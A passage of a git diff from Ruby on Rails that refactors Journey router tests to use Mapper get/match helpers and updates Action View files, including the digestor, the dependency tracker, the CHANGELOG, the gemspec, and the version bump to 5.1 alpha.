assert_equal({:id => nil}, params) + router.recognize(env) do |r, params| + assert_equal({:id => nil, :controller => "foo", :action => "bar"}, params) end end def test_recognize_with_unbound_regexp - add_routes @router, [ - Router::Strexp.build("/foo", { }, ['/', '.', '?'], false) - ] + get "/foo", anchor: false, to: "foo#bar" env = rails_env 'PATH_INFO' => '/foo/bar' - @router.recognize(env) { |*_| } + router.recognize(env) { |*_| } assert_equal '/foo', env.env['SCRIPT_NAME'] assert_equal '/bar', env.env['PATH_INFO'] end def test_bound_regexp_keeps_path_info - add_routes @router, [ - Router::Strexp.build("/foo", { }, ['/', '.', '?'], true) - ] + get "/foo", to: "foo#bar" env = rails_env 'PATH_INFO' => '/foo' before = env.env['SCRIPT_NAME'] - @router.recognize(env) { |*_| } + router.recognize(env) { |*_| } assert_equal before, env.env['SCRIPT_NAME'] assert_equal '/foo', env.env['PATH_INFO'] end def test_path_not_found - add_routes @router, [ + [ "/messages(.:format)", "/messages/new(.:format)", "/messages/:id/edit(.:format)", "/messages/:id(.:format)" - ] + ].each do |path| + get path, to: "foo#bar" + end env = rails_env 'PATH_INFO' => '/messages/unknown/path' yielded = false - @router.recognize(env) do |*whatever| + router.recognize(env) do |*whatever| yielded = true end assert_not yielded end def test_required_part_in_recall - add_routes @router, [ "/messages/:a/:b" ] + get "/messages/:a/:b", to: "foo#bar" - path, _ = @formatter.generate(nil, { :a => 'a' }, { :b => 'b' }) + path, _ = @formatter.generate(nil, { :controller => "foo", :action => "bar", :a => 'a' }, { :b => 'b' }) assert_equal "/messages/a/b", path end def test_splat_in_recall - add_routes @router, [ "/*path" ] + get "/*path", to: "foo#bar" - path, _ = @formatter.generate(nil, { }, { :path => 'b' }) + path, _ = @formatter.generate(nil, { :controller => "foo", :action => "bar" }, { :path => 'b' }) assert_equal "/b", path end def test_recall_should_be_used_when_scoring - add_routes @router, [ - "/messages/:action(/:id(.:format))", - "/messages/:id(.:format)" - ] + get "/messages/:action(/:id(.:format))", to: 'foo#bar' + get "/messages/:id(.:format)", to: 'bar#baz' - path, _ = @formatter.generate(nil, { :id => 10 }, { :action => 'index' }) + path, _ = @formatter.generate(nil, { :controller => "foo", :id => 10 }, { :action => 'index' }) assert_equal "/messages/index/10", path end def test_nil_path_parts_are_ignored - path = Path::Pattern.from_string "/:controller(/:action(.:format))" - @router.routes.add_route @app, path, {}, {}, {} + get "/:controller(/:action(.:format))", to: "tasks#lol" params = { :controller => "tasks", :format => nil } extras = { :action => 'lol' } @@ -329,18 +216,14 @@ module ActionDispatch def test_generate_slash params = [ [:controller, "tasks"], [:action, "show"] ] - str = Router::Strexp.build("/", Hash[params], ['/', '.', '?'], true) - path = Path::Pattern.new str - - @router.routes.add_route @app, path, {}, {}, {} + get "/", Hash[params] path, _ = @formatter.generate(nil, Hash[params], {}) assert_equal '/', path end def test_generate_calls_param_proc - path = Path::Pattern.from_string '/:controller(/:action)' - @router.routes.add_route @app, path, {}, {}, {} + get '/:controller(/:action)', to: "foo#bar" parameterized = [] params = [ [:controller, "tasks"], @@ -356,8 +239,7 @@ module ActionDispatch end def test_generate_id - path = Path::Pattern.from_string '/:controller(/:action)' - @router.routes.add_route @app, path, {}, {}, {} + get '/:controller(/:action)', to: 'foo#bar' path, params = @formatter.generate( nil, {:id=>1, :controller=>"tasks", :action=>"show"}, {}) @@ -366,8 +248,7 @@ module ActionDispatch end def test_generate_escapes - path = Path::Pattern.from_string '/:controller(/:action)' - @router.routes.add_route @app, path, {}, {}, {} + get '/:controller(/:action)', to: "foo#bar" path, _ = @formatter.generate(nil, { :controller => "tasks", @@ -377,8 +258,7 @@ module ActionDispatch end def test_generate_escapes_with_namespaced_controller - path = Path::Pattern.from_string '/:controller(/:action)' - @router.routes.add_route @app, path, {}, {}, {} + get '/:controller(/:action)', to: "foo#bar" path, _ = @formatter.generate( nil, { :controller => "admin/tasks", @@ -388,8 +268,7 @@ module ActionDispatch end def test_generate_extra_params - path = Path::Pattern.from_string '/:controller(/:action)' - @router.routes.add_route @app, path, {}, {}, {} + get '/:controller(/:action)', to: "foo#bar" path, params = @formatter.generate( nil, { :id => 1, @@ -401,9 +280,34 @@ module ActionDispatch assert_equal({:id => 1, :relative_url_root => nil}, params) end + def test_generate_missing_keys_no_matches_different_format_keys + get '/:controller/:action/:name', to: "foo#bar" + primarty_parameters = { + :id => 1, + :controller => "tasks", + :action => "show", + :relative_url_root => nil + } + redirection_parameters = { + 'action'=>'show', + } + missing_key = 'name' + missing_parameters ={ + missing_key => "task_1" + } + request_parameters = primarty_parameters.merge(redirection_parameters).merge(missing_parameters) + + message = "No route matches #{Hash[request_parameters.sort_by{|k,v|k.to_s}].inspect} missing required keys: #{[missing_key.to_sym].inspect}" + + error = assert_raises(ActionController::UrlGenerationError) do + @formatter.generate( + nil, request_parameters, request_parameters) + end + assert_equal message, error.message + end + def test_generate_uses_recall_if_needed - path = Path::Pattern.from_string '/:controller(/:action(/:id))' - @router.routes.add_route @app, path, {}, {}, {} + get '/:controller(/:action(/:id))', to: "foo#bar" path, params = @formatter.generate( nil, @@ -414,8 +318,7 @@ module ActionDispatch end def test_generate_with_name - path = Path::Pattern.from_string '/:controller(/:action)' - @router.routes.add_route @app, path, {}, {}, "tasks" + get '/:controller(/:action)', to: 'foo#bar', as: 'tasks' path, params = @formatter.generate( "tasks", @@ -431,16 +334,15 @@ module ActionDispatch '/content/show/10' => { :controller => 'content', :action => 'show', :id => "10" }, }.each do |request_path, expected| define_method("test_recognize_#{expected.keys.map(&:to_s).join('_')}") do - path = Path::Pattern.from_string "/:controller(/:action(/:id))" - app = Object.new - route = @router.routes.add_route(app, path, {}, {}, {}) + get "/:controller(/:action(/:id))", to: 'foo#bar' + route = @routes.first env = rails_env 'PATH_INFO' => request_path called = false - @router.recognize(env) do |r, params| + router.recognize(env) do |r, params| assert_equal route, r - assert_equal(expected, params) + assert_equal({ :action => "bar" }.merge(expected), params) called = true end @@ -453,16 +355,15 @@ module ActionDispatch :splat => ['/segment/a/b%20c+d', { :segment => 'segment', :splat => 'a/b c+d' }] }.each do |name, (request_path, expected)| define_method("test_recognize_#{name}") do - path = Path::Pattern.from_string '/:segment/*splat' - app = Object.new - route = @router.routes.add_route(app, path, {}, {}, {}) + get '/:segment/*splat', to: 'foo#bar' env = rails_env 'PATH_INFO' => request_path called = false + route = @routes.first - @router.recognize(env) do |r, params| + router.recognize(env) do |r, params| assert_equal route, r - assert_equal(expected, params) + assert_equal(expected.merge(:controller=>"foo", :action=>"bar"), params) called = true end @@ -471,14 +372,8 @@ module ActionDispatch end def test_namespaced_controller - strexp = Router::Strexp.build( - "/:controller(/:action(/:id))", - { :controller => /.+?/ }, - ["/", ".", "?"] - ) - path = Path::Pattern.new strexp - app = Object.new - route = @router.routes.add_route(app, path, {}, {}, {}) + get "/:controller(/:action(/:id))", { :controller => /.+?/ } + route = @routes.first env = rails_env 'PATH_INFO' => '/admin/users/show/10' called = false @@ -488,7 +383,7 @@ module ActionDispatch :id => '10' } - @router.recognize(env) do |r, params| + router.recognize(env) do |r, params| assert_equal route, r assert_equal(expected, params) called = true @@ -497,14 +392,13 @@ module ActionDispatch end def test_recognize_literal - path = Path::Pattern.from_string "/books(/:action(.:format))" - app = Object.new - route = @router.routes.add_route(app, path, {}, {:controller => 'books'}) + get "/books(/:action(.:format))", controller: "books" + route = @routes.first env = rails_env 'PATH_INFO' => '/books/list.rss' expected = { :controller => 'books', :action => 'list', :format => 'rss' } called = false - @router.recognize(env) do |r, params| + router.recognize(env) do |r, params| assert_equal route, r assert_equal(expected, params) called = true @@ -514,10 +408,7 @@ module ActionDispatch end def test_recognize_head_route - path = Path::Pattern.from_string "/books(/:action(.:format))" - app = Object.new - conditions = { request_method: 'HEAD' } - @router.routes.add_route(app, path, conditions, {}) + match "/books(/:action(.:format))", via: 'head', to: 'foo#bar' env = rails_env( 'PATH_INFO' => '/books/list.rss', @@ -525,7 +416,7 @@ module ActionDispatch ) called = false - @router.recognize(env) do |r, params| + router.recognize(env) do |r, params| called = true end @@ -533,64 +424,84 @@ module ActionDispatch end def test_recognize_head_request_as_get_route - path = Path::Pattern.from_string "/books(/:action(.:format))" - app = Object.new - conditions = { - :request_method => 'GET' - } - @router.routes.add_route(app, path, conditions, {}) + get "/books(/:action(.:format))", to: 'foo#bar' env = rails_env 'PATH_INFO' => '/books/list.rss', "REQUEST_METHOD" => "HEAD" called = false - @router.recognize(env) do |r, params| + router.recognize(env) do |r, params| called = true end assert called end - def test_recognize_cares_about_verbs - path = Path::Pattern.from_string "/books(/:action(.:format))" - app = Object.new - conditions = { request_method: 'GET' } - @router.routes.add_route(app, path, conditions, {}) + def test_recognize_cares_about_get_verbs + match "/books(/:action(.:format))", to: "foo#bar", via: :get env = rails_env 'PATH_INFO' => '/books/list.rss', "REQUEST_METHOD" => "POST" called = false - @router.recognize(env) do |r, params| + router.recognize(env) do |r, params| called = true end assert_not called + end - conditions = conditions.dup - conditions[:request_method] = 'POST' + def test_recognize_cares_about_post_verbs + match "/books(/:action(.:format))", to: "foo#bar", via: :post - post = @router.routes.add_route(app, path, conditions, {}) + env = rails_env 'PATH_INFO' => '/books/list.rss', + "REQUEST_METHOD" => "POST" called = false - @router.recognize(env) do |r, params| - assert_equal post, r + router.recognize(env) do |r, params| called = true end assert called end - private + def test_multi_verb_recognition + match "/books(/:action(.:format))", to: "foo#bar", via: [:post, :get] + + %w( POST GET ).each do |verb| + env = rails_env 'PATH_INFO' => '/books/list.rss', + "REQUEST_METHOD" => verb - def add_routes router, paths - paths.each do |path| - if String === path - path = Path::Pattern.from_string path - else - path = Path::Pattern.new path + called = false + router.recognize(env) do |r, params| + called = true end - router.routes.add_route @app, path, {}, {}, {} + + assert called + end + + env = rails_env 'PATH_INFO' => '/books/list.rss', + "REQUEST_METHOD" => 'PUT' + + called = false + router.recognize(env) do |r, params| + called = true + end + + assert_not called + end + + private + + def get *args + ActiveSupport::Deprecation.silence do + mapper.get(*args) + end + end + + def match *args + ActiveSupport::Deprecation.silence do + mapper.match(*args) end end diff --git a/actionpack/test/journey/routes_test.rb b/actionpack/test/journey/routes_test.rb index b54d961f66..f8293dfc5f 100644 --- a/actionpack/test/journey/routes_test.rb +++ b/actionpack/test/journey/routes_test.rb @@ -3,70 +3,57 @@ require 'abstract_unit' module ActionDispatch module Journey class TestRoutes < ActiveSupport::TestCase - setup do - @routes = Routes.new + attr_reader :routes, :mapper + + def setup + @route_set = ActionDispatch::Routing::RouteSet.new + @routes = @route_set.router.routes + @router = @route_set.router + @mapper = ActionDispatch::Routing::Mapper.new @route_set + super end def test_clear - routes = Routes.new - exp = Router::Strexp.build '/foo(/:id)', {}, ['/.?'] - path = Path::Pattern.new exp - requirements = { :hello => /world/ } - - routes.add_route nil, path, requirements, {:id => nil}, {} + mapper.get "/foo(/:id)", to: "foo#bar", as: 'aaron' + assert_not_predicate routes, :empty? assert_equal 1, routes.length routes.clear + assert routes.empty? assert_equal 0, routes.length end def test_ast - routes = Routes.new - path = Path::Pattern.from_string '/hello' - - routes.add_route nil, path, {}, {}, {} + mapper.get "/foo(/:id)", to: "foo#bar", as: 'aaron' ast = routes.ast - routes.add_route nil, path, {}, {}, {} + mapper.get "/foo(/:id)", to: "foo#bar", as: 'gorby' assert_not_equal ast, routes.ast end def test_simulator_changes - routes = Routes.new - path = Path::Pattern.from_string '/hello' - - routes.add_route nil, path, {}, {}, {} + mapper.get "/foo(/:id)", to: "foo#bar", as: 'aaron' sim = routes.simulator - routes.add_route nil, path, {}, {}, {} + mapper.get "/foo(/:id)", to: "foo#bar", as: 'gorby' assert_not_equal sim, routes.simulator end def test_partition_route - path = Path::Pattern.from_string '/hello' + mapper.get "/foo(/:id)", to: "foo#bar", as: 'aaron' - anchored_route = @routes.add_route nil, path, {}, {}, {} - assert_equal [anchored_route], @routes.anchored_routes - assert_equal [], @routes.custom_routes + assert_equal 1, @routes.anchored_routes.length + assert_predicate @routes.custom_routes, :empty? - strexp = Router::Strexp.build( - "/hello/:who", { who: /\d/ }, ['/', '.', '?'] - ) - path = Path::Pattern.new strexp + mapper.get "/hello/:who", to: "foo#bar", as: 'bar', who: /\d/ - custom_route = @routes.add_route nil, path, {}, {}, {} - assert_equal [custom_route], @routes.custom_routes - assert_equal [anchored_route], @routes.anchored_routes + assert_equal 1, @routes.custom_routes.length + assert_equal 1, @routes.anchored_routes.length end def test_first_name_wins - routes = Routes.new - - one = Path::Pattern.from_string '/hello' - two = Path::Pattern.from_string '/aaron' - - routes.add_route nil, one, {}, {}, 'aaron' - routes.add_route nil, two, {}, {}, 'aaron' - - assert_equal '/hello', routes.named_routes['aaron'].path.spec.to_s + mapper.get "/hello", to: "foo#bar", as: 'aaron' + assert_raise(ArgumentError) do + mapper.get "/aaron", to: "foo#bar", as: 'aaron' + end end end end diff --git a/actionview/CHANGELOG.md b/actionview/CHANGELOG.md index 82a636315a..1d7ec77e70 100644 --- a/actionview/CHANGELOG.md +++ b/actionview/CHANGELOG.md @@ -1,93 +1,2 @@ -* `number_to_percentage` does not crash with `Float::NAN` or `Float::INFINITY` - as input when `precision: 0` is used. - Fixes #19227. - - *Yves Senn* - -* Fixed the translation helper method to accept different default values types - besides String. - - *Ulisses Almeida* - -* Collection rendering automatically caches and fetches multiple partials. - - Collections rendered as: - - ```ruby - <%= render @notifications %> - <%= render partial: 'notifications/notification', collection: @notifications, as: :notification %> - ``` - - will now read several partials from cache at once, if the template starts with a cache call: - - ```ruby - # notifications/_notification.html.erb - <% cache notification do %> - <%# ... %> - <% end %> - ``` - - *Kasper Timm Hansen* - -* Fixed a dependency tracker bug that caused template dependencies not - count layouts as dependencies for partials. - - *Juho Leinonen* - -* Extracted `ActionView::Helpers::RecordTagHelper` to external gem - (`record_tag_helper`) and added removal notices. - - *Todd Bealmear* - -* Allow to pass a string value to `size` option in `image_tag` and `video_tag`. - - This makes the behavior more consistent with `width` or `height` options. - - *Mehdi Lahmam* - -* Partial template name does no more have to be a valid Ruby identifier. - - There used to be a naming rule that the partial name should start with - underscore, and should be followed by any combination of letters, numbers - and underscores. - But now we can give our partials any name starting with underscore, such as - _ðŸ”.html.erb. - - *Akira Matsuda* - -* Change the default template handler from `ERB` to `Raw`. - - Files without a template handler in their extension will be rendered using the raw - handler instead of ERB. - - *Rafael Mendonça França* - -* Remove deprecated `AbstractController::Base::parent_prefixes`. - - *Rafael Mendonça França* - -* Default translations that have a lower precedence than a html safe default, - but are not themselves safe, should not be marked as html_safe. - - *Justin Coyne* - -* Make possible to use blocks with short version of `render "partial"` helper. - - *Nikolay Shebanov* - -* Add a `hidden_field` on the `file_field` to avoid raise a error when the only - input on the form is the `file_field`. - - *Mauro George* - -* Add an explicit error message, in `ActionView::PartialRenderer` for partial - `rendering`, when the value of option `as` has invalid characters. - - *Angelo Capilleri* - -* Allow entries without a link tag in AtomFeedHelper. - - *Daniel Gomez de Souza* - -Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actionview/CHANGELOG.md) for previous changes. +Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/actionview/CHANGELOG.md) for previous changes. diff --git a/actionview/MIT-LICENSE b/actionview/MIT-LICENSE index 3ec7a617cf..8573eb1225 100644 --- a/actionview/MIT-LICENSE +++ b/actionview/MIT-LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2004-2015 David Heinemeier Hansson +Copyright (c) 2004-2016 David Heinemeier Hansson Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the diff --git a/actionview/README.rdoc b/actionview/README.rdoc index 5bb62c7562..7a3e5e31d0 100644 --- a/actionview/README.rdoc +++ b/actionview/README.rdoc @@ -9,7 +9,7 @@ used to inline short Ruby snippets inside HTML), and XML Builder. The latest version of Action View can be installed with RubyGems: - % [sudo] gem install actionview + $ gem install actionview Source code can be downloaded as part of the Rails project on GitHub @@ -36,4 +36,3 @@ Bug reports can be filed for the Ruby on Rails project here: Feature requests should be discussed on the rails-core mailing list here: * https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core - diff --git a/actionview/Rakefile b/actionview/Rakefile index 2b752b83df..d41030c650 100644 --- a/actionview/Rakefile +++ b/actionview/Rakefile @@ -1,9 +1,11 @@ require 'rake/testtask' -require 'rubygems/package_task' desc "Default Task" task :default => :test +task :package +task "package:clean" + # Run the unit tests desc "Run all unit tests" @@ -45,39 +47,8 @@ namespace :test do end end -spec = eval(File.read('actionview.gemspec')) - -Gem::PackageTask.new(spec) do |p| - p.gem_spec = spec -end - -desc "Release to rubygems" -task :release => :package do - require 'rake/gemcutter' - Rake::Gemcutter::Tasks.new(spec).define - Rake::Task['gem:push'].invoke -end - task :lines do - lines, codelines, total_lines, total_codelines = 0, 0, 0, 0 - - FileList["lib/**/*.rb"].each do |file_name| - next if file_name =~ /vendor/ - File.open(file_name, 'r') do |f| - while line = f.gets - lines += 1 - next if line =~ /^\s*$/ - next if line =~ /^\s*#/ - codelines += 1 - end - end - puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}" - - total_lines += lines - total_codelines += codelines - - lines, codelines = 0, 0 - end - - puts "Total: Lines #{total_lines}, LOC #{total_codelines}" + load File.expand_path('..', File.dirname(__FILE__)) + '/tools/line_statistics' + files = FileList["lib/**/*.rb"] + CodeTools::LineStatistics.new(files).print_loc end diff --git a/actionview/actionview.gemspec b/actionview/actionview.gemspec index d8ea9d562c..75c5045ec0 100644 --- a/actionview/actionview.gemspec +++ b/actionview/actionview.gemspec @@ -7,13 +7,13 @@ Gem::Specification.new do |s| s.summary = 'Rendering framework putting the V in MVC (part of Rails).' s.description = 'Simple, battle-tested conventions and helpers for building web pages.' - s.required_ruby_version = '>= 2.2.1' + s.required_ruby_version = '>= 2.2.2' - s.license = 'MIT' + s.license = 'MIT' - s.author = 'David Heinemeier Hansson' - s.email = 'david@loudthinking.com' - s.homepage = 'http://www.rubyonrails.org' + s.author = 'David Heinemeier Hansson' + s.email = 'david@loudthinking.com' + s.homepage = 'http://rubyonrails.org' s.files = Dir['CHANGELOG.md', 'README.rdoc', 'MIT-LICENSE', 'lib/**/*'] s.require_path = 'lib' @@ -24,7 +24,7 @@ Gem::Specification.new do |s| s.add_dependency 'builder', '~> 3.1' s.add_dependency 'erubis', '~> 2.7.0' s.add_dependency 'rails-html-sanitizer', '~> 1.0', '>= 1.0.2' - s.add_dependency 'rails-dom-testing', '~> 1.0', '>= 1.0.5' + s.add_dependency 'rails-dom-testing', '~> 2.0' s.add_development_dependency 'actionpack', version s.add_development_dependency 'activemodel', version diff --git a/actionview/bin/test b/actionview/bin/test new file mode 100755 index 0000000000..404cabba51 --- /dev/null +++ b/actionview/bin/test @@ -0,0 +1,4 @@ +#!/usr/bin/env ruby +COMPONENT_ROOT = File.expand_path("../../", __FILE__) +require File.expand_path("../tools/test", COMPONENT_ROOT) +exit Minitest.run(ARGV) diff --git a/actionview/lib/action_view.rb b/actionview/lib/action_view.rb index c3bbac27fd..0a87500a52 100644 --- a/actionview/lib/action_view.rb +++ b/actionview/lib/action_view.rb @@ -1,5 +1,5 @@ #-- -# Copyright (c) 2004-2015 David Heinemeier Hansson +# Copyright (c) 2004-2016 David Heinemeier Hansson # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the diff --git a/actionview/lib/action_view/base.rb b/actionview/lib/action_view/base.rb index 43124bb904..ad1cb1a4be 100644 --- a/actionview/lib/action_view/base.rb +++ b/actionview/lib/action_view/base.rb @@ -75,7 +75,7 @@ module ActionView #:nodoc: # # Headline: <%= local_assigns[:headline] %> # - # This is useful in cases where you aren't sure if the local variable has been assigned. Alternately, you could also use + # This is useful in cases where you aren't sure if the local variable has been assigned. Alternatively, you could also use # <tt>defined? headline</tt> to first check if the variable has been assigned before using it. # # === Template caching @@ -161,6 +161,10 @@ module ActionView #:nodoc: cattr_accessor :raise_on_missing_translations @@raise_on_missing_translations = false + # Specify whether submit_tag should automatically disable on click + cattr_accessor :automatically_disable_submit_tag + @@automatically_disable_submit_tag = true + class_attribute :_routes class_attribute :logger diff --git a/actionview/lib/action_view/dependency_tracker.rb b/actionview/lib/action_view/dependency_tracker.rb index 7a7e116dbb..7731773040 100644 --- a/actionview/lib/action_view/dependency_tracker.rb +++ b/actionview/lib/action_view/dependency_tracker.rb @@ -1,22 +1,26 @@ -require 'thread_safe' +require 'concurrent/map' +require 'action_view/path_set' module ActionView class DependencyTracker # :nodoc: - @trackers = ThreadSafe::Cache.new + @trackers = Concurrent::Map.new - def self.find_dependencies(name, template) + def self.find_dependencies(name, template, view_paths = nil) tracker = @trackers[template.handler] + return [] unless tracker - if tracker.present? - tracker.call(name, template) - else - [] - end + tracker.call(name, template, view_paths) end def self.register_tracker(extension, tracker) handler = Template.handler_for_extension(extension) - @trackers[handler] = tracker + if tracker.respond_to?(:supports_view_paths?) + @trackers[handler] = tracker + else + @trackers[handler] = lambda { |name, template, _| + tracker.call(name, template) + } + end end def self.remove_tracker(handler) @@ -82,12 +86,16 @@ module ActionView (?:#{STRING}|#{VARIABLE_OR_METHOD_CHAIN}) # finally, the dependency name of interest /xm - def self.call(name, template) - new(name, template).dependencies + def self.supports_view_paths? # :nodoc: + true + end + + def self.call(name, template, view_paths = nil) + new(name, template, view_paths).dependencies end - def initialize(name, template) - @name, @template = name, template + def initialize(name, template, view_paths = nil) + @name, @template, @view_paths = name, template, view_paths end def dependencies @@ -142,8 +150,22 @@ module ActionView end end + def resolve_directories(wildcard_dependencies) + return [] unless @view_paths + + wildcard_dependencies.flat_map { |query, templates| + @view_paths.find_all_with_query(query).map do |template| + "#{File.dirname(query)}/#{File.basename(template).split('.').first}" + end + }.sort + end + def explicit_dependencies - source.scan(EXPLICIT_DEPENDENCY).flatten.uniq + dependencies = source.scan(EXPLICIT_DEPENDENCY).flatten.uniq + + wildcards, explicits = dependencies.partition { |dependency| dependency[-1] == '*' } + + (explicits + resolve_directories(wildcards)).uniq end end diff --git a/actionview/lib/action_view/digestor.rb b/actionview/lib/action_view/digestor.rb index 1f103786cb..b91e61da18 100644 --- a/actionview/lib/action_view/digestor.rb +++ b/actionview/lib/action_view/digestor.rb @@ -1,122 +1,116 @@ -require 'thread_safe' +require 'concurrent/map' require 'action_view/dependency_tracker' require 'monitor' module ActionView class Digestor - cattr_reader(:cache) - @@cache = ThreadSafe::Cache.new - @@digest_monitor = Monitor.new + @@digest_mutex = Mutex.new class << self # Supported options: # # * <tt>name</tt> - Template name - # * <tt>finder</tt> - An instance of ActionView::LookupContext + # * <tt>finder</tt> - An instance of <tt>ActionView::LookupContext</tt> # * <tt>dependencies</tt> - An array of dependent views # * <tt>partial</tt> - Specifies whether the template is a partial - def digest(options) - options.assert_valid_keys(:name, :finder, :dependencies, :partial) - - cache_key = ([ options[:name], options[:finder].details_key.hash ].compact + Array.wrap(options[:dependencies])).join('.') + def digest(name:, finder:, dependencies: []) + dependencies ||= [] + cache_key = ([ name ].compact + dependencies).join('.') # this is a correctly done double-checked locking idiom - # (ThreadSafe::Cache's lookups have volatile semantics) - @@cache[cache_key] || @@digest_monitor.synchronize do - @@cache.fetch(cache_key) do # re-check under lock - compute_and_store_digest(cache_key, options) + # (Concurrent::Map's lookups have volatile semantics) + finder.digest_cache[cache_key] || @@digest_mutex.synchronize do + finder.digest_cache.fetch(cache_key) do # re-check under lock + partial = name.include?("/_") + root = tree(name, finder, partial) + dependencies.each do |injected_dep| + root.children << Injected.new(injected_dep, nil, nil) + end + finder.digest_cache[cache_key] = root.digest(finder) end end end - private - def compute_and_store_digest(cache_key, options) # called under @@digest_monitor lock - klass = if options[:partial] || options[:name].include?("/_") - # Prevent re-entry or else recursive templates will blow the stack. - # There is no need to worry about other threads seeing the +false+ value, - # as they will then have to wait for this thread to let go of the @@digest_monitor lock. - pre_stored = @@cache.put_if_absent(cache_key, false).nil? # put_if_absent returns nil on insertion - PartialDigestor - else - Digestor - end + def logger + ActionView::Base.logger || NullLogger + end - digest = klass.new(options).digest - # Store the actual digest if config.cache_template_loading is true - @@cache[cache_key] = stored_digest = digest if ActionView::Resolver.caching? - digest - ensure - # something went wrong or ActionView::Resolver.caching? is false, make sure not to corrupt the @@cache - @@cache.delete_pair(cache_key, false) if pre_stored && !stored_digest - end - end + # Create a dependency tree for template named +name+. + def tree(name, finder, partial = false, seen = {}) + logical_name = name.gsub(%r|/_|, "/") - attr_reader :name, :finder, :options + if finder.disable_cache { finder.exists?(logical_name, [], partial) } + template = finder.disable_cache { finder.find(logical_name, [], partial) } - def initialize(options) - @name, @finder = options.values_at(:name, :finder) - @options = options.except(:name, :finder) - end + if node = seen[template.identifier] # handle cycles in the tree + node + else + node = seen[template.identifier] = Node.create(name, logical_name, template, partial) - def digest - Digest::MD5.hexdigest("#{source}-#{dependency_digest}").tap do |digest| - logger.try :debug, " Cache digest for #{template.inspect}: #{digest}" + deps = DependencyTracker.find_dependencies(name, template, finder.view_paths) + deps.uniq { |n| n.gsub(%r|/_|, "/") }.each do |dep_file| + node.children << tree(dep_file, finder, true, seen) + end + node + end + else + logger.error " '#{name}' file doesn't exist, so no dependencies" + logger.error " Couldn't find template for digesting: #{name}" + seen[name] ||= Missing.new(name, logical_name, nil) + end end - rescue ActionView::MissingTemplate - logger.try :error, " Couldn't find template for digesting: #{name}" - '' end - def dependencies - DependencyTracker.find_dependencies(name, template) - rescue ActionView::MissingTemplate - [] # File doesn't exist, so no dependencies - end + class Node + attr_reader :name, :logical_name, :template, :children - def nested_dependencies - dependencies.collect do |dependency| - dependencies = PartialDigestor.new(name: dependency, finder: finder).nested_dependencies - dependencies.any? ? { dependency => dependencies } : dependency + def self.create(name, logical_name, template, partial) + klass = partial ? Partial : Node + klass.new(name, logical_name, template, []) end - end - private - def logger - ActionView::Base.logger - end - - def logical_name - name.gsub(%r|/_|, "/") + def initialize(name, logical_name, template, children = []) + @name = name + @logical_name = logical_name + @template = template + @children = children end - def partial? - false + def digest(finder, stack = []) + Digest::MD5.hexdigest("#{template.source}-#{dependency_digest(finder, stack)}") end - def template - @template ||= finder.disable_cache { finder.find(logical_name, [], partial?) } + def dependency_digest(finder, stack) + children.map do |node| + if stack.include?(node) + false + else + finder.digest_cache[node.name] ||= begin + stack.push node + node.digest(finder, stack).tap { stack.pop } + end + end + end.join("-") end - def source - template.source + def to_dep_map + children.any? ? { name => children.map(&:to_dep_map) } : name end + end - def dependency_digest - template_digests = dependencies.collect do |template_name| - Digestor.digest(name: template_name, finder: finder, partial: true) - end + class Partial < Node; end - (template_digests + injected_dependencies).join("-") - end + class Missing < Node + def digest(finder, _ = []) '' end + end - def injected_dependencies - Array.wrap(options[:dependencies]) - end - end + class Injected < Node + def digest(finder, _ = []) name end + end - class PartialDigestor < Digestor # :nodoc: - def partial? - true + class NullLogger + def self.debug(_); end + def self.error(_); end end end end diff --git a/actionview/lib/action_view/flows.rb b/actionview/lib/action_view/flows.rb index ba24510e56..4b912f0b2b 100644 --- a/actionview/lib/action_view/flows.rb +++ b/actionview/lib/action_view/flows.rb @@ -15,7 +15,7 @@ module ActionView # Called by each renderer object to set the layout contents. def set(key, value) - @content[key] = value + @content[key] = ActiveSupport::SafeBuffer.new(value) end # Called by content_for @@ -37,9 +37,8 @@ module ActionView end # Try to get stored content. If the content - # is not available and we are inside the layout - # fiber, we set that we are waiting for the given - # key and yield. + # is not available and we're inside the layout fiber, + # then it will begin waiting for the given key and yield. def get(key) return super if @content.key?(key) @@ -60,8 +59,8 @@ module ActionView end # Appends the contents for the given key. This is called - # by provides and resumes back to the fiber if it is - # the key it is waiting for. + # by providing and resuming back to the fiber, + # if that's the key it's waiting for. def append!(key, value) super @fiber.resume if @waiting_for == key diff --git a/actionview/lib/action_view/gem_version.rb b/actionview/lib/action_view/gem_version.rb index 4f45f5b8c8..5fc4f3f1b9 100644 --- a/actionview/lib/action_view/gem_version.rb +++ b/actionview/lib/action_view/gem_version.rb @@ -6,7 +6,7 @@ module ActionView module VERSION MAJOR = 5 - MINOR = 0 + MINOR = 1 TINY = 0 PRE = "alpha" diff --git a/actionview/lib/action_view/helpers/asset_tag_helper.rb b/actionview/lib/action_view/helpers/asset_tag_helper.rb index 5c28043f8a..413c35954c 100644 --- a/actionview/lib/action_view/helpers/asset_tag_helper.rb +++ b/actionview/lib/action_view/helpers/asset_tag_helper.rb @@ -55,12 +55,12 @@ module ActionView # # => <script src="http://www.example.com/xmlhr.js"></script> def javascript_include_tag(*sources) options = sources.extract_options!.stringify_keys - path_options = options.extract!('protocol', 'extname').symbolize_keys + path_options = options.extract!('protocol', 'extname', 'host').symbolize_keys sources.uniq.map { |source| tag_options = { "src" => path_to_javascript(source, path_options) }.merge!(options) - content_tag(:script, "", tag_options) + content_tag("script".freeze, "", tag_options) }.join("\n").html_safe end @@ -91,7 +91,7 @@ module ActionView # # <link href="/css/stylish.css" media="screen" rel="stylesheet" /> def stylesheet_link_tag(*sources) options = sources.extract_options!.stringify_keys - path_options = options.extract!('protocol').symbolize_keys + path_options = options.extract!('protocol', 'host').symbolize_keys sources.uniq.map { |source| tag_options = { @@ -127,7 +127,7 @@ module ActionView # auto_discovery_link_tag(:rss, {controller: "news", action: "feed"}) # # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/news/feed" /> # auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "Example RSS"}) - # # => <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed" /> + # # => <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed.rss" /> def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {}) if !(type == :rss || type == :atom) && tag_options[:type].blank? raise ArgumentError.new("You should pass :type tag_option 